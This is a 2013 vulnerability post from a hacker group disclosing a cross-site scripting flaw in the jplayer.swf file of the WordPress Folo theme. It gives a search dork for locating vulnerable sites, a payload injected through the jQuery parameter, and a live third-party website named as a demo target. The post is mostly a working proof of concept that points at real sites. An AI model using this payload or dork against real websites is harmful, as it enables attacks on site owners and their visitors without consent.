facebook facebook twitter rss

Wordpress Folo Theme xss Vulnerability

Author: Darksnipper , Published: 02-12-2013
#####################################
Title:Wordpress Folo Theme xss Vulnerability
#####################
##############################################################

__ __ _____ _ ______ ______ _______ _____
| \/ | /\ | __ \| | | ____| ____|__ __/ ____|
| \ / | / \ | | | | | | |__ | |__ | | | (___
| |\/| | / /\ \ | | | | | | __| | __| | | \___ \
| | | |/ ____ \| |__| | |____| |____| |____ | | ____) |
|_| |_/_/ \_\_____/|______|______|______| |_| |_____/

##############################################################
#Author:Darksnipper

#Email:Darksnipper@live.com

#Independent Security Researcher
#####################################
#Home:- www.MadLeeTs.com
#####################################

#####################################
#Home:- www.CyberCoderss.Blogspot.com
#####################################

Vendor Link:http://themify.me/themes/folo

Dork:-inurl:"inurl:/wp-content/themes/folo/"

Tested On:- Windows 7,Linux,Windows xp

######################################################################
#P.o.c

http: //127.0.0.1/wp-content/themes/folo/assets/js/jplayer.swf

payload

?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/MaDLeets/)//

Demo:-

http://krushlicious.com/wp-content/themes/folo/assets/js/jplayer.swf

payload:-
?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/MaDLeets/)//


Like:-

http://127.0.01/wp-content/themes/folo/assets/js/jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/MaDLeets/)//



########################################################################
Greetz:1337,Dream.killer,Soul~inj3ct0r,Force-Ex,x3o-1337,Shadow008,Dr.Z0mbie,H4x0r
Hussy,H4x0rl1f3,Invectus,Sahrawi
Hacker,Madc0de Haxor,Makman,Sniffer,Retno Pro, Tr4ck3r,b0x,Gujjar
Pcp,P4k Command3r,Pain006,Anon DeXter,3thicalN00b,
Ap3x Pr3d1at0r,Ment@l Mind,Evan Ricafort,Syndicate,Root Haxor,Kd
Divakar,r00X,Asif Iqbal,zHC Snipper,All Madleets Members,Kashmiri
HackerS.
########################################################################

Like us on Facebook :